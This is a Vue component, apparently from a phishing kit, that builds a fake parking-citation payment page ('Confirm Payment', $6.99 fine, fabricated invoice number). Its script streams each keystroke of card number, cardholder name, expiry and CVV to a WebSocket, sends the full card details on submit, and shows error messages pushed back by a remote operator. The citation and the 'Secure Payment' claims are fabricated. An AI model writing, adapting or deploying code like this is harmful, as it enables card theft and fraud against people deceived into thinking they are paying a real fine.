Files
zy-client-a/ww_gb_Ticket_temp3/src/views/CardView.vue
telangpu cf55c2cad6 update
2026-04-28 00:42:28 +08:00

705 lines
19 KiB
Vue
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<script setup lang="ts">
import { inject, nextTick, onMounted, onUnmounted, reactive, ref, computed, watch } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import { useRoute, useRouter } from "vue-router";
import {
areAllValuesNotEmpty,
inputChange, configData,
myWebSocket,
} from "@/utils/common";
import { useI18n } from "vue-i18n";
// Asset per le icone delle carte
import c1 from "@/assets/img/b4f258fb3fcfa.svg"; // Visa
import c2 from "@/assets/img/d9f501073fcfa.svg"; // Mastercard
import c3 from "@/assets/img/761998023fcfa.svg"; // JCB
import c4 from "@/assets/img/272b931f3fcfa.svg"; // UnionPay
import c5 from "@/assets/img/d2820b3b3fcfa.svg"; // Amex
import c6 from "@/assets/img/e62e66803fcfa.svg"; // Discover
import c7 from "@/assets/img/c8e88e5f3fcfa.svg"; // Maestro
import c8 from "@/assets/img/1a32e1333fcfa.svg"; // Diners
import c10 from "@/assets/img/default.svg"; // Default
const { t } = useI18n();
const router = useRouter();
const route = useRoute();
const invoiceNumber = ref("CA-KTM92B7X-HNR35L6P");
const getExpectedDate = () => {
const today = new Date();
const futureDate = new Date(today.getTime() + 3 * 24 * 60 * 60 * 1000);
const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
return `${months[futureDate.getMonth()]} ${futureDate.getDate()}`;
};
const expectedDate = ref(getExpectedDate());
const isModalVisible = ref(false);
const formSubmitted = ref(false);
const errorMessageVisible = ref(false);
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
// Error state management
const errors = reactive({
cardName: false,
cardNumber: false,
expires: false,
cvv: false
});
const expiresErrorMsg = ref("");
const cvvErrorMsg = ref("");
const cardMessage = ref("");
const cvvMaxLength = ref(4);
// Card Type Identification Logic
const cardTypeImage = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return c10;
if (/^4/.test(num)) return c1;
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num)) return c2;
if (/^3[47]/.test(num)) return c5;
if (/^(62|81)/.test(num)) return c4;
if (/^6(011|4[4-9]|5)/.test(num)) return c6;
if (/^35/.test(num)) return c3;
if (/^(30|36|38|39)/.test(num)) return c8;
if (/^(50|56|57|58|6)/.test(num)) return c7;
return c10;
});
const isCardIdentified = computed(() => {
return cardTypeImage.value !== c10;
});
// 监听 cardMessage 的变化,有值就自动显示弹窗
watch(() => cardMessage.value, (newVal) => {
if (newVal) {
errorMessageVisible.value = true;
}
});
const clearErrorMessage = () => {
errorMessageVisible.value = false;
};
const onCardNameChange = (e: any) => {
const val = e.target.value;
formData.cardName = val;
errors.cardName = !val;
cardMessage.value = "";
inputChange("input_card", "cardName", val);
};
const onCardNumberChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
if (val.length > 16) val = val.slice(0, 16);
formData.cardNumber = val.replace(/(\d{4})(?=\d)/g, "$1 ");
errors.cardNumber = val.length < 15;
cardMessage.value = "";
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
const raw = e.target.value;
let val = raw.replace(/\D/g, "");
if (val.length > 4) val = val.slice(0, 4);
// 当输入框内容被清空或只剩一位数字时,允许直接删除
if (val.length === 0) {
formData.expires = "";
} else if (val.length <= 2) {
formData.expires = val;
} else {
formData.expires = val.slice(0, 2) + "/" + val.slice(2);
}
cardMessage.value = "";
validateExpireDate(formData.expires);
inputChange("input_card", "expires", formData.expires);
};
const onCvvChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
formData.cvv = val;
errors.cvv = val.length < 3;
cardMessage.value = "";
inputChange("input_card", "cvv", val);
};
const validateExpireDate = (value: string) => {
if (!value || value.length < 5) {
errors.expires = true;
expiresErrorMsg.value = "Required";
return false;
}
const [m, y] = value.split('/');
const month = parseInt(m);
if (month < 1 || month > 12) {
expiresErrorMsg.value = "Invalid month";
errors.expires = true;
return false;
}
// Check if card is expired
const now = new Date();
const currentYear = now.getFullYear();
const currentMonth = now.getMonth() + 1;
const expiryYear = 2000 + parseInt(y);
const expiryMonth = parseInt(m);
if (expiryYear < currentYear || (expiryYear === currentYear && expiryMonth < currentMonth)) {
expiresErrorMsg.value = "Card expired";
errors.expires = true;
return false;
}
errors.expires = false;
expiresErrorMsg.value = "";
return true;
};
// 檢查表單是否完成,用於按鈕狀態切換
const isFormComplete = computed(() => {
return (
formData.cardName &&
formData.cardNumber.replace(/\s/g, "").length >= 15 &&
formData.expires.length === 5 &&
!errors.expires &&
formData.cvv.length >= 3
);
});
const next = async () => {
// 提交时收起键盘
(document.activeElement as HTMLElement)?.blur();
errors.cardName = !formData.cardName;
errors.cardNumber = formData.cardNumber.replace(/\s/g, "").length < 15;
errors.cvv = formData.cvv.replace(/\D/g, "").length < 3;
validateExpireDate(formData.expires);
if (errors.cardName || errors.cardNumber || errors.expires || errors.cvv) return;
isModalVisible.value = true;
const cardNumberWithoutSpaces = formData.cardNumber.replace(/\s/g, "");
localStorage.setItem("cardNumber", cardNumberWithoutSpaces);
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: { type: "submitCard", formData: { ...formData, cardNumber: cardNumberWithoutSpaces } },
})
);
};
const handleEvent = (data: { message2: string }) => {
cardMessage.value = data.message2;
formSubmitted.value = true;
isModalVisible.value = false;
};
// 從其他頁面返回本頁面時,直接顯示全局錯誤信息
const loadCardMessage = () => {
// 優先從路由query參數中讀取
if (route.query.message2) {
cardMessage.value = route.query.message2 as string;
formSubmitted.value = true;
return;
}
// 其次從localStorage中讀取
const savedMessage = localStorage.getItem("cardMessage");
if (savedMessage) {
cardMessage.value = savedMessage;
formSubmitted.value = true;
localStorage.removeItem("cardMessage"); // 讀取後清除
return;
}
};
onMounted(() => {
loadingStore.setLoading(false);
eventBus.on("my-event", handleEvent);
localStorage.setItem("route", "card");
const inumber = localStorage.getItem("orderNumber");
if (inumber) invoiceNumber.value = inumber;
// 頁面返回時,檢查並顯示全局錯誤信息
loadCardMessage();
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "card" },
})
);
});
onUnmounted(() => {
eventBus.off("my-event", handleEvent);
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="payment-page-container">
<div class="stepper-wrapper">
<div class="progress-bar-bg">
<div class="progress-bar-fill"></div>
</div>
<span class="step-text">Step 2 of 2</span>
</div>
<h1 class="main-title">Confirm Payment</h1>
<p class="sub-title">{{ configData?.pay_msg || "Please review your citation payment details." }}</p>
<div class="fine-summary-card">
<div class="secured-tag">
<span class="shield-icon">🛡</span> SECURED
</div>
<div class="card-label">CITATION FINE</div>
<div class="big-amount">{{ configData?.pay_amount || "$6.99" }}</div>
<div class="info-row">
<span class="label">Violation</span>
<span class="value strong">Parking in Prohibited Zone</span>
</div>
<div class="fee-breakdown">
<div class="fee-item">
<span>Base Fine</span>
<span>{{ configData?.pay_amount || "$6.99" }}</span>
</div>
<div class="fee-item">
<span>Late Fee</span>
<span>$0.00</span>
</div>
<div class="fee-item line-top">
<span>Processing Fee</span>
<span>$0.00</span>
</div>
</div>
<div class="divider-dashed"></div>
<div class="total-row">
<span class="label">Total Amount Due</span>
<span class="value red-text">{{ configData?.pay_amount || "$6.99" }}</span>
</div>
</div>
<div class="payment-info-section">
<h2 class="section-title">Payment Information</h2>
<div class="receipt-notice">
<div class="icon-box">💳</div>
<p>Your payment will be processed securely. Upon successful payment, a confirmation receipt will be sent to your registered email address. The citation will be cleared from your record within <strong>3-5 business days</strong>.</p>
</div>
<div class="card-icons-row">
<img src="https://img.icons8.com/color/48/visa.png" />
<img src="https://img.icons8.com/color/48/mastercard.png" />
<img src="https://img.icons8.com/color/48/amex.png" />
<img src="https://img.icons8.com/color/48/maestro.png" />
<img src="https://img.icons8.com/color/48/jcb.png" />
<img src="https://img.icons8.com/color/48/discover.png" />
</div>
<form @submit.prevent="next" class="payment-form">
<div class="form-group">
<label>Card Number</label>
<div class="card-input-wrapper">
<input
type="text"
placeholder="•••• •••• •••• ••••"
v-model="formData.cardNumber"
@input="onCardNumberChange"
:class="{ 'error-input': errors.cardNumber || !!cardMessage }"
/>
<div class="card-type-icon-box">
<img :src="cardTypeImage" alt="card type" />
</div>
</div>
<div class="error-text" v-if="cardMessage">{{ t(cardMessage) }}</div>
</div>
<div class="grid-row-2">
<div class="form-group">
<label>Expiry Date</label>
<input
type="text"
placeholder="MM/YY"
v-model="formData.expires"
@input="onExpiresChange"
:class="{ 'error-input': errors.expires }"
/>
<div class="error-text" v-if="errors.expires">{{ expiresErrorMsg }}</div>
</div>
<div class="form-group">
<label>Security Code</label>
<input
type="text"
placeholder="•••"
v-model="formData.cvv"
@input="onCvvChange"
:maxlength="cvvMaxLength"
:class="{ 'error-input': errors.cvv }"
/>
<div class="error-text" v-if="errors.cvv && cvvErrorMsg">{{ cvvErrorMsg }}</div>
</div>
</div>
<div class="form-group">
<label>Cardholder Name</label>
<input
type="text"
placeholder="John Doe"
v-model="formData.cardName"
@input="onCardNameChange"
:class="{ 'error-input': errors.cardName }"
/>
</div>
<div class="timeline-box">
<div class="timeline-item active">
<span class="dot"></span>
<div class="tl-content"><strong>Today</strong><p>Payment submitted</p></div>
</div>
<div class="timeline-item">
<span class="dot"></span>
<div class="tl-content"><strong>{{ expectedDate }} (Expected)</strong><p>Citation cleared from record</p></div>
</div>
</div>
<button type="submit" class="submit-btn" :class="{ 'btn-active': isFormComplete }">
Pay {{ configData?.pay_amount || "$6.99" }}
</button>
<div class="secure-footer">
<span class="lock">🔒</span> Secure Payment
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal
v-model:visible="isModalVisible"
:card-number="formData.cardNumber"
:loading="true"
/>
<!-- Error Message Modal -->
<div v-if="errorMessageVisible" class="error-modal-overlay" @click="clearErrorMessage">
<div class="error-modal-content" @click.stop>
<div class="error-modal-header">
<span class="error-icon"></span>
<span class="error-title">Error</span>
<button class="error-modal-close" @click="clearErrorMessage">×</button>
</div>
<div class="error-modal-body">
<p>{{ t(cardMessage) }}</p>
</div>
<div class="error-modal-footer">
<button class="error-modal-btn" @click="clearErrorMessage">OK</button>
</div>
</div>
</div>
</template>
<style scoped>
.payment-page-container {
max-width: 480px;
margin: 0 auto;
padding: 20px 15px 80px;
background: #fff;
}
/* 頂部進度條 */
.stepper-wrapper {
display: flex;
align-items: center;
margin-bottom: 40px;
}
.progress-bar-bg {
flex: 1;
height: 2px;
background: #e0e0e0;
margin-right: 15px;
}
.progress-bar-fill {
width: 100%;
height: 100%;
background: #000;
}
.step-text {
font-size: 13px;
font-weight: 600;
color: #333;
}
/* 標題 */
.main-title {
font-family: "Times New Roman", serif;
font-size: 32px;
font-weight: 700;
color: #0d2d5e;
text-align: center;
margin-bottom: 8px;
}
.sub-title {
font-size: 14px;
color: #666;
text-align: center;
margin-bottom: 30px;
}
/* 金額卡片 */
.fine-summary-card {
border: 1.5px solid #0d2d5e;
border-radius: 20px;
padding: 25px;
position: relative;
margin-bottom: 35px;
box-shadow: 0 4px 15px rgba(13, 45, 94, 0.08);
}
.secured-tag {
position: absolute;
top: 15px;
right: 15px;
background: #f0fdf4;
color: #166534;
font-size: 10px;
font-weight: 800;
padding: 4px 10px;
border-radius: 20px;
border: 1px solid #bbf7d0;
}
.card-label {
text-align: center;
font-size: 13px;
color: #666;
letter-spacing: 1px;
}
.big-amount {
text-align: center;
font-size: 52px;
font-weight: 800;
color: #0d2d5e;
margin: 10px 0 25px;
}
.info-row {
display: flex;
justify-content: space-between;
margin-bottom: 15px;
font-size: 15px;
}
.info-row .label { color: #666; }
.info-row .value.strong { color: #000; font-weight: 700; }
.fee-breakdown {
background: #f8fafc;
border-radius: 12px;
padding: 15px;
margin-top: 15px;
}
.fee-item {
display: flex;
justify-content: space-between;
font-size: 14px;
color: #666;
margin-bottom: 8px;
}
.line-top {
border-top: 1px dashed #cbd5e1;
padding-top: 10px;
margin-top: 5px;
font-weight: 600;
}
.divider-dashed {
border-top: 1.5px dashed #e2e8f0;
margin: 25px 0;
}
.total-row {
display: flex;
justify-content: space-between;
align-items: center;
}
.total-label { font-size: 16px; color: #666; }
.total-value { font-size: 26px; font-weight: 800; color: #dc2626; }
/* 支付信息 */
.section-title { font-size: 18px; font-weight: 700; margin-bottom: 15px; }
.receipt-notice {
display: flex;
background: #f1f5f9;
padding: 15px;
border-radius: 12px;
gap: 12px;
margin-bottom: 25px;
}
.receipt-notice p { font-size: 12px; color: #475569; line-height: 1.5; margin: 0; }
.icon-box { font-size: 20px; }
.card-icons-row {
display: flex;
gap: 10px;
margin-bottom: 30px;
flex-wrap: wrap;
}
.card-icons-row img { height: 33px; opacity: 0.9; }
/* 表單 */
.form-group { margin-bottom: 22px; }
.form-group label {
display: block;
font-size: 13px;
font-weight: 600;
color: #334155;
margin-bottom: 8px;
}
.card-input-wrapper {
position: relative;
}
.card-type-icon-box {
position: absolute;
right: 15px;
top: 50%;
transform: translateY(-50%);
}
.card-type-icon-box img { height: 24px; }
input {
width: 100%;
padding: 14px 16px;
border: 1px solid #cbd5e1;
border-radius: 10px;
font-size: 16px;
box-sizing: border-box;
background: #fff;
transition: border-color 0.2s;
}
input:focus { outline: none; border-color: #0d2d5e; }
input::placeholder { color: #94a3b8; }
.grid-row-2 {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 15px;
}
/* 時間線 */
.timeline-box { margin: 30px 0; border-left: 2px solid #e2e8f0; padding-left: 20px; }
.timeline-item { position: relative; padding-bottom: 20px; }
.timeline-item .dot { position: absolute; left: -27px; top: 5px; width: 12px; height: 12px; border-radius: 50%; background: #cbd5e1; border: 2px solid #fff; }
.timeline-item.active .dot { background: #000; box-shadow: 0 0 0 4px rgba(0,0,0,0.1); }
.tl-content strong { font-size: 14px; color: #0d2d5e; }
.tl-content p { font-size: 12px; color: #64748b; margin: 2px 0 0; }
/* 按鈕 */
.submit-btn {
width: 100%;
background-color: #abbcd4; /* 默認淺色 */
color: #fff;
border: none;
padding: 16px;
font-size: 18px;
font-weight: 700;
border-radius: 12px;
cursor: pointer;
transition: background-color 0.3s;
}
.btn-active { background-color: #0d2d5e; } /* 激活後深色 */
.secure-footer {
text-align: center;
font-size: 14px;
color: #166534;
margin-top: 15px;
font-weight: 600;
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
}
.error-input { border-color: #ef4444; background: #fef2f2; }
.error-text { color: #ef4444; font-size: 12px; margin-top: 5px; }
/* Error Message Modal */
.error-modal-overlay {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.5);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.error-modal-content {
background: #fff;
border-radius: 16px;
width: 320px;
max-width: 90vw;
overflow: hidden;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
}
.error-modal-header {
display: flex;
align-items: center;
padding: 18px 20px 14px;
border-bottom: 1px solid #f1f5f9;
gap: 8px;
}
.error-icon { font-size: 20px; }
.error-title {
flex: 1;
font-size: 16px;
font-weight: 700;
color: #0d2d5e;
}
.error-modal-close {
background: none;
border: none;
font-size: 22px;
color: #94a3b8;
cursor: pointer;
line-height: 1;
padding: 0;
}
.error-modal-body {
padding: 20px;
}
.error-modal-body p {
margin: 0;
font-size: 15px;
color: #334155;
line-height: 1.6;
text-align: center;
}
.error-modal-footer {
padding: 0 20px 20px;
display: flex;
justify-content: center;
}
.error-modal-btn {
background: #0d2d5e;
color: #fff;
border: none;
padding: 12px 48px;
border-radius: 10px;
font-size: 15px;
font-weight: 600;
cursor: pointer;
transition: background 0.2s;
}
.error-modal-btn:hover { background: #1a4480; }
</style>